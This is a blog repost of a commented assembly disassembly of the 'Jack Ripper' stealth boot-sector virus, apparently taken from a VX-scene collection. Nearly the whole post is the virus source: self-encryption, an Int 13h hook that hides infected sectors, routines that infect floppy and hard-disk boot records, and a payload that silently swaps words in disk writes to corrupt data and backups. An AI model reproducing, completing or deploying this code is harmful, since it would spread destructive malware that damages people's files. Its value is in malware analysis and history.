2012. 2. 27. 19:59
728x90
; ; VIRUS NAME: Jack Ripper ; ORIGIN : Bulgaria ; VIRUS SIZE: 2 Sectors ; VIRUS TYPE: Stealth MBR/BS Infector ; PAYLOAD : 1 in 1024 disk writes, it swaps 2 words in the write buffer ; ; ; The Ripper Virus is a very common boot sector virus. It was the first ; virus that I ever came across. I was fascinated how it could evade my ; ignorant teachers at my school's computer lab. (They couldn't figure ; out that their AV boot disks were infected.) After the problem persisted ; for months, they literally threw away all their disks, formatted the hard ; drives, installed Lame AV, installed security programs, and went to a ; diskless system. Ripper might be gone, but its memory in that lab ; still lingers. ; ; Anywayz, since it was the first virus I came across, and the virus that ; got me interested in the scene, I decided to do it justice and have it be ; the first virus that I disassembled. When I started disassembling ; I knew nothing about Boot Viruses (or disassembling as you will see), but ; after bugging VD for days, he wrote a Boot Virus tutorial, which should ; also be included in this SLAM edition. If you like comments, you will ; find tons of comments. ; ; Although I don't like destructive payloads, Ripper's Payload has to be ; the most subtle destructive data diddling that I know of. Every 1 in 1024 ; writes, it swaps two words around in the write buffer, thus a gradual ; corruption of data and backups. Because of this destructive payload, ; I have not tried to compile it, or try to make a working byte for byte exact ; copy. As of this writing, there were no varients of the Ripper Virus, and ; I hope the VX community can give Ripper the respect it deserves and leave ; it that way. ; ; Ripper employs lots of cool tricks, and I have learned alot from ; disassembling it. I hope I did Jack Ripper justice with my disassembling ; of his virus. seg000 segment byte public 'CODE' assume cs:seg000 assume es:nothing, ss:nothing, ds:nothing jmp short Start_Ripper ; Clear Interrups ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ nop ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IBM db 49h ; I db 42h ; B db 4Dh ; M db 20h ; db 20h ; db 35h ; 5 db 2Eh ; . db 30h ; 0 BytesPerSector db 0 db 2 ; db 2 ; Reserved_Sector dw 1 Num_Of_FATs db 2 Max_Root_Dirs dw 70h db 0A0h ; db 5 ; db 0F9h ; ù Sectors_in_Fat dw 3 Sctrs_Per_Track dw 9 db 2 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 29h ; ) db 4 ; db 16h ; db 4Eh ; N db 34h ; 4 FatName db 'NO NAME FAT12 ú3' ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Start_Ripper: cli ; Clear Interrups xor ax, ax ; AX = 0 mov ss, ax ; SS = 0 mov sp, 7C00h ; SP = 7C00h sti ; Restore Interrupts mov si, 7C50h ; SI = 7C50h push cs ; Save CS call near ptr XOR_Encryption Strt_Encryption: mov si, sp ; SI = 7C00h mov ax, ds:413h ; Get Amount of Free Memory in Paras dec ax dec ax ; Decrease New Amount of Free Memory push ax ; Save New Amount of Free Memory mov cl, 6 shl ax, cl ; Convert AX to Segment of Free Memory mov es, ax ; ES = Segment of Free Memory xor di, di ; DI = 0 mov cx, 100h ; CX = 100h rep movsw ; Move First 512 bytes into Memory mov ax, offset Memory_Continue; Continue with Resident Copy push ds ; Push 0 push es ; Push Segment of Ripper in Memory push ax ; Push Offset which we will return to retf ; Goto Memory Copy ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Msg db 'FUCK ',27h,'EM UP !' ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Memory_Continue: les bx, ds:4Ch ; BX = Offset of Int 13h, ES = Segment of Int 13h push cs pop ds ; DS = CS mov Int_13h_Offset, bx ; Move Offset of Int 13h into our Handler mov Int_13h_Segment, es ; Move Segment of Int 13h into our Handler and Drive, 80h ; Get First Drive mov dl, Drive ; DL = Drive mov dh, Head ; DH = Head xor bx, bx ; BX = 0 call Check ; Check to see if we are hooked pop es ; ES = 0 jnb Exit_Hooking ; Jump if Carry Flag is Clear mov cx, Loc_2_Sector ; CX = Location of Second Sector of Ripper mov bx, 200h ; BX = 200h, Directly after First Half push es ; Push 0 push cs pop es ; ES = CS call Prepare_Read ; Read 2nd half of Ripper into Memory pop es ; ES = 0 push es pop ds ; DS = 0 jb Exit_Hooking ; If there is a problem with the Read, Exit pop word ptr ds:413h ; Set New Amount of Free Memory mov word ptr ds:4Ch, offset Int_13h_Handler; Set New Offset to our Handler mov ds:4Eh, cs ; Set new Segment to our handler push ax ; Push something for the pop Exit_Hooking: pop ax ; Pop the extra Pushed number mov cx, cs:Loc_Old_Boot ; CX = Location of Old Boot Sector mov bx, sp ; BX = 7C00h call Prepare_Read ; Read Original Boot Sectorto 0000:7C00h push es ; Push 0 push bx ; Push 7C00h at End of XOR Loop Return to 0:7C00h jmp short Skip_Signature; Encrypt Memory Resident Txt and Code ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Signature db '(C)1992 Jack Ripper' ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Skip_Signature: mov si, offset Strt_Encryption; Encrypt Memory Resident Txt and Code XOR_Encryption proc far mov di, si ; DI = SI push cs pop ds ; DS = CS push cs pop es ; ES = CS XOR_Loop: lodsb ; Load a byte into AL xor al, 10101010b ; XOR it stosb ; Put it Back push di ; Save DI and di, 11111111b ; Get lower half of DI cmp di, offset Skip_Signature; Are we to our stopping point? pop di ; Get Old DI back jnz XOR_Loop ; Loop if not done xor ax, ax ; AX = 0 mov ds, ax ; DS = 0 mov es, ax ; ES = 0 retf ; Return XOR_Encryption endp Int_13h proc near pushf call dword ptr cs:Int_13h_Offset; Call Original Int 13h retn ; Return Int_13h endp Prepare_Read proc near mov di, 3 ; Try to Read 3 Times Read_One_Sector: xor ax, ax ; AX = 0 call Int_13h ; Reset Disk System mov ax, 201h ; AX = 201h call Int_13h ; Read one Sector into ES:BX buffer jnb Successful_Read ; Jump if Read was Successful dec di ; Decrease DI jnz Read_One_Sector ; If DI > 0, Try to Read Again Successful_Read: retn ; Return Prepare_Read endp Check proc near mov di, bx ; DI = BX mov si, 0E2h ; SI = E2h add di, si ; DI = BX + E2h mov cx, 20h ; CX = 20h Check_Loop: cmpsw ; Cmp Two Words jnz Not_Equal ; Jump if they aren't equal loop Check_Loop ; Loop clc ; Clear Carry Flag retn ; Return ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Not_Equal: stc ; Set Carry Flag retn ; Return Check endp ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Read: push ax ; Save Registers push bx push cx push dx cmp dl, ds:177h ; Does Drive = Our Drive? mov ds:177h, dl ; Put Drive into Drive jnz Not_Same_Drive ; Don't read the disk a whole bunch. xor ax, ax ; AX = 0 int 1Ah ; CLOCK - GET TIME OF DAY ; Return: CX:DX = clock count ; AL = 00h if clock was read or written (via AH=0,1) since the previous ; midnight ; Otherwise, AL > 0 mov ax, dx ; AX = Clock Count sub ax, ds:175h ; Sub from Clock Count a previous Clock Count mov ds:175h, dx ; Save New Clock Count cmp ax, 36h ; Cmp Time to about 3 seconds. jb Less_3_Secs ; If below, Don't Check Infection Not_Same_Drive: pop dx ; Get Head and Drive push dx ; Save it again push si ; Push Return Value call Check_Infection ; Check For Infection pop si ; Pop return Value Less_3_Secs: pop dx ; Restore Registers pop cx pop bx pop ax pop es push es ; Save ES push si ; Save SI call Check_To_Stealth ; Stealth Exit_Handler: pop es ; Restore Registers pop ds pop di pop si pop dx pop cx pop bx pop ax popf ; Restores Flags jmp dword ptr cs:Int_13h_Offset; Continue with real Int 13h ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Loc_2_Sector dw 4 Loc_Old_Boot dw 5 Int_13h_Offset dw 53ECh Int_13h_Segment dw 0F000h Clock_Count dw 0AC8h Drive db 0 Head db 1 Partion_Tables db 7Ch ; | db 0A3h ; £ db 4Dh ; M db 7Ch ; | db 0F8h ; ø db 0C3h ; Ã db 0F9h ; ù db 0C3h ; Ã db 0B4h ; ´ db 2 ; db 8Bh ; ‹ db 16h ; db 4Dh ; M db 7Ch ; | db 0B1h ; ± db 6 ; db 0D2h ; Ò db 0E6h ; æ db 0Ah ; db 36h ; 6 db 4Fh ; O db 7Ch ; | db 8Bh ; ‹ db 0CAh ; Ê db 86h ; † db 0E9h ; é db 8Ah ; Š db 16h ; db 24h ; $ db 7Ch ; | db 8Ah ; Š db 36h ; 6 db 25h ; % db 7Ch ; | db 0CDh ; Í db 13h ; db 0C3h ; Ã db 0Dh ; db 0Ah ; NonSystemDisk db 'Non-System disk or disk error',0Dh,0Ah db 'Replace and press any key when ready',0Dh,0Ah,0 Ibmbio db 'IBMBIO COMIBMDOS COM',0 db 0 ; End_1st_Sector dw 0AA55h I13h_With_Check proc far call Int_13h ; Real Int 13h jb Write_Problem ; Problem? retn ; Return ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Write_Problem: pop bx Read_Problem: push bp ; Save BP mov bp, sp ; BP = Stack or word ptr [bp+12h], 1; Set Carry Flag mov [bp+10h], ax ; Set Error AX pop bp ; Get BP Back Pop_w_Check: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax popf jb Error_Skip_AX_0 ; Err: Don't erase our previous AX mov ax, 0 ; No Error AX = 0 Error_Skip_AX_0: retf 2 I13h_With_Check endp ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Stealth: call near ptr I13h_With_Check call Check ; Check for Infection jb Pop_w_Check ; Exit if Not Infected mov cx, es:[bx+16Fh] ; Find original BS's Track & Sector mov dh, es:[bx+178h] ; Finde Original BS's Head mov ax, 201h ; Read One Sector call near ptr I13h_With_Check jmp short Pop_w_Check ; Exit SetUp_400_Read proc near mov dh, 0 ; Head = 0 mov cx, 1 ; Track = 0 Sector = 1 mov bx, 400h ; BX = 400h mov ax, 201h ; Read One Sector push cs pop es ; ES = CS retn SetUp_400_Read endp Read_Into_400 proc near call SetUp_400_Read call Int_13h ; Read One Sector Into CS:400h retn ; Return Read_Into_400 endp ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Return_out_of_Stealth: mov si, bx mov di, ax push es pop ds ; DS = ES assume ds:seg000 call SetUp_400_Read ; Read BS to CS:400h call near ptr I13h_With_Check push di ; Save Orginal AX push si ; Save Original BX mov bx, si ; Restore BX inc si inc si ; SI = Past Jump call Save_Boot_Headr ; Move Header info push ds push cs pop ds ; DS = CS push cx mov bx, 400h ; BX = 400h call Check pop cx ; Restore CX pop es assume es:nothing pop bx ; Get Original BX back pop ax ; Get Original AX back jnb No_Stealth_Problem ; SI = 56Fh jmp Exit_Handler ; Restore Registers ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ No_Stealth_Problem: mov si, 56Fh ; SI = 56Fh mov cx, [si] ; Location Old Boot mov dh, [si+9] ; Location Old Head call near ptr I13h_With_Check; Stealth it call SetUp_400_Read ; Read Real BS xor bx, bx ; To CS:0h call near ptr I13h_With_Check jmp short Pop_w_Check Check_To_Stealth proc near cmp ch, 0 ; Compare Track to 0 jnz Continue ; Allow if not cmp cl, 1 ; Cmp Sector to 1 jnz No_Stealth ; No Need for Stealth cmp dh, 0 ; Compare Head to 0 jnz No_Stealth ; No Need for Stealth pop di ; Retn to number in SI retn ; Near Return ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Continue: retn 2 ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ No_Stealth: add sp, 4 ; Remove the bytes pushed by Stealth cmp ah, 2 ; Is it a read? jnz Not_Read ; Check for Read mov di, ax ; Save AX in DI call near ptr I13h_With_Check; Read mov ax, di ; Restore AX Check_Again: mov di, bx ; Save BX in DI mov si, 200h ; SI = 200h Word_Check_Loop: cmpsw jnz Word_Not_Equal ; If they don't equal Jmp cmp si, 400h ; Check 200 bytes jnz Word_Check_Loop jmp short Stealth_Disk ; DI = BX ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Word_Not_Equal: add bx, 200h ; Increase One Sector dec al ; One Less Sector jnz Check_Again ; Save BX in DI jmp short AL_Zero ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Stealth_Disk: mov di, bx ; DI = BX mov cx, 100h ; CX = 100h push ax ; Save AX xor ax, ax ; AX = 0 rep stosw ; Mov 1024 bytes/2 sectors pop ax ; Restore AX dec al ; Dec AL again jz AL_Zero mov cx, 100h ; CX = 100h xor ax, ax ; AX = 0 rep stosw AL_Zero: ; Check_To_Stealth+4Aj jmp Pop_w_Check Check_To_Stealth endp Payload proc near push ax ; Save Registers push bx push cx push dx xor ax, ax ; AX = 0 int 1Ah ; CLOCK - GET TIME OF DAY ; Return: CX:DX = clock count ; AL = 00h if clock was read or written (via AH=0,1) since the previous ; midnight ; Otherwise, AL > 0 test dx, 1111111111b ; Test with 3FFh, 1 in 1024 chance jnz Exit_Payload ; Jump if not equal or cl, dh ; Or CL and DH to get a random number and cx, 111111100b ; Discard top 7 bits and 2 lower bits add bx, cx ; Swap 2 words with a random location push word ptr es:[bx] ; The infamous Ripper Word Swapping push word ptr es:[bx+2] ; Push 2 words pop word ptr es:[bx] ; And Pop them in Reverse order pop word ptr es:[bx+2] Exit_Payload: pop dx ; Restore Registers pop cx pop bx pop ax retn ; Return Payload endp ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Not_Read: cmp al, 1 ; Is it just one Sector? jnz Exit ; Exit If its Not just one sector push es ; Save Registers push bx push cx push dx call Read_Into_400 ; Read BS right after Virus in Memory pop dx ; Restore the Saved Registers pop cx pop bx pop es jnb No_Read_Prob ; No Problem with Read jmp Read_Problem ; Problem with Read ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ No_Read_Prob: mov si, 56Dh ; SI = 56h cmp dh, [si+0Bh] ; Cmp DH with Head on the BS jnz Exit ; Exit if they don't equal. cmp cx, [si] ; Cmp CX with Location of the 2nd sector. jz Write_BS_MBR ; If equal write MBR/BS cmp cx, [si+2] ; Cmp CX with location of the Old sector. jz Write_BS_MBR ; If equal write MBR/BS Exit: jmp Exit_Handler ; Restore Registers ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Write_BS_MBR: call SetUp_400_Read mov ax, 301h ; Write 1 Sector Instead of Read call near ptr I13h_With_Check; Write One Sector jmp Pop_w_Check Check_Infection proc near call Read_Into_400 ; Read First Sector into CS:400 jnb No_Read_Error ; Jump if No Error retn ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ No_Read_Error: mov si, 402h ; SI = 402h call Save_Boot_Headr call Check ; Check Infection jb Not_Infected ; Jump if it isn't Infected Infection_Done: retn ; Near Return ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Not_Infected: test Drive, 80h ; See if the Drive is a Diskette or HD jz Diskette ; Jump to Diskette if it is a Diskette mov cx, 8 ; Second Sector Resides at Sector 8 Write_2nd_Sectr: mov bx, 200h ; Read from the Second 512 bytes (200h) mov ax, 302h ; Write 2 Sectors call Int_13h ; Write 2nd Sector and Orig Boot Sector jb Infection_Done ; Near Return mov Loc_2_Sector, cx ; Write where to find the Second Sector inc cx ; Old Boot is found right after it. mov Loc_Old_Boot, cx ; Where to find the Old boot code mov Head, dh ; Save Head call SetUp_400_Read xor bx, bx ; Start at beginning of Code mov ax, 301h ; Write 1 Sector call Int_13h ; Write the Boot Sector retn ; Near Return ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Diskette: cmp word ptr BytesPerSector, 200h; Make sure it is a floppy. jnz Infection_Done ; Quit if not Equal mov cx, Reserved_Sector ; Location of Reserved Sectors before FAT mov al, Num_Of_FATs ; Number Of FATs cbw ; Convert byte to word, xor ah, ah? mul Sectors_in_Fat ; AX = # of FATS * # of Sectors in FAT add cx, ax ; CX = Reserved Sectors + Sectors of FATS mov ax, 20h ; ' ' ; AX = 20h mul Max_Root_Dirs ; AX = 20h * Max # of Root Directories mov bx, 200h ; BX = 200h div bx ; AX = 20h * # if Root Dirs / 200h add cx, ax ; CX = Reserved + Fat + Root Dir dec cx ; Decrease CX by 1 mov dh, 1 ; DH = 1 sub cx, Sctrs_Per_Track ; CX = Reserved + FAT + Root Dir - 1 - Track mov dl, Drive ; DL = Drive jmp short Write_2nd_Sectr; Go Write the Second Sector Check_Infection endp Save_Boot_Headr proc near mov di, 2 ; DI = 2 Move_Header_Loop: movsb ; Move a byte from DS:DI to ES:DI cmp di, 40h jnz Move_Header_Loop ; Jump if we are not done mov si, bx ; Si = 400h mov di, offset Partion_Tables add si, di ; DI = 400h + Partition Table Move_Something: movsb cmp di, 200h jnz Move_Something retn Save_Boot_Headr endp ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Int_13h_Handler: clc ; Clear Carry Flag pushf ; Save Flags push ax ; Save Registers push bx push cx push dx push si push di push ds push es push cs pop ds ; DS = CS cld ; Clear Direction Flag cmp ah, 2 ; Read? jnz Check_For_Write ; If Not a Read Continue our checks mov si, offset Stealth ; Return to jmp Read ; Jmp to Read ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Check_For_Write: cmp ah, 3 ; Write? jz Write ; Jump if it is Allow_Write: jmp Exit_Handler ; Restore Registers ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Write: call Payload ; Payload time cmp cx, 1 ; Does Track = 0 and Sector = 1? jnz Not_Boot_Sector ; If not the bootsector, Jump cmp al, 1 ; Are they only writing one sector? jnz Allow_Write ; If not, Jump Not_Boot_Sector: mov si, offset Return_out_of_Stealth; Return to jmp Read ; Save Registers ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 0D2h ; Ò seg000 ends end
728x90
'분석 > 바이러스 및 악성코드 샘플' 카테고리의 다른 글
IDA ELF 플러그인 (0) | 2012.12.26 |
---|---|
매크로가 발전하면 이런것도 가능하다!!와우 (0) | 2012.05.15 |
Technical Analysis and Advanced Exploitation of Adobe Flash 0-Day (CVE-2011-0609) (0) | 2012.01.12 |
DOS공격 tool (0) | 2011.12.21 |
RAT 공개 툴 (0) | 2011.12.09 |